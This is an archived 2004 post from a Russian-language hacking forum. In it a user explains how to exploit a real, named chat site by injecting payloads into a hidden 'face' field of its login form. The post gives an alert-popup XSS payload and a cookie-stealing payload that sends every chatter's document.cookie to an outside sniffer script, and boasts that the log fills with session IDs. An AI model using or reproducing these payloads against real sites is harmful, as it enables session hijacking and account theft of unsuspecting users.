Научите пожалуйста

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#14

11.08.2004, 20:07

zFailure

Участник форума

Регистрация: 06.06.2004

Сообщений: 169

Провел на форуме:
0

Репутация: 82

Отправить сообщение для zFailure с помощью ICQ

на http://chat.bratsk.ru есть форма входа

там есть поле
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><input name=face type=hidden value="1">[/QUOTE]<span id='postcolor'>
оно типа ваше лицо обозначает
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src="/images/1.gif" ...>[/QUOTE]<span id='postcolor'>

если запихнуть в это поле
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">" onError="alert(/ Чат поимели /)" z="[/QUOTE]<span id='postcolor'>

то после отсылке первогоже сообщения от вас, все будут любоваться мессагой

аналогично будем поступать со снифером
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">1.gif" onLoad="x=new Image();x.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;" z="[/QUOTE]<span id='postcolor'>

после входа и отправке сообщения
весь лог заполняется идентификаторами сессий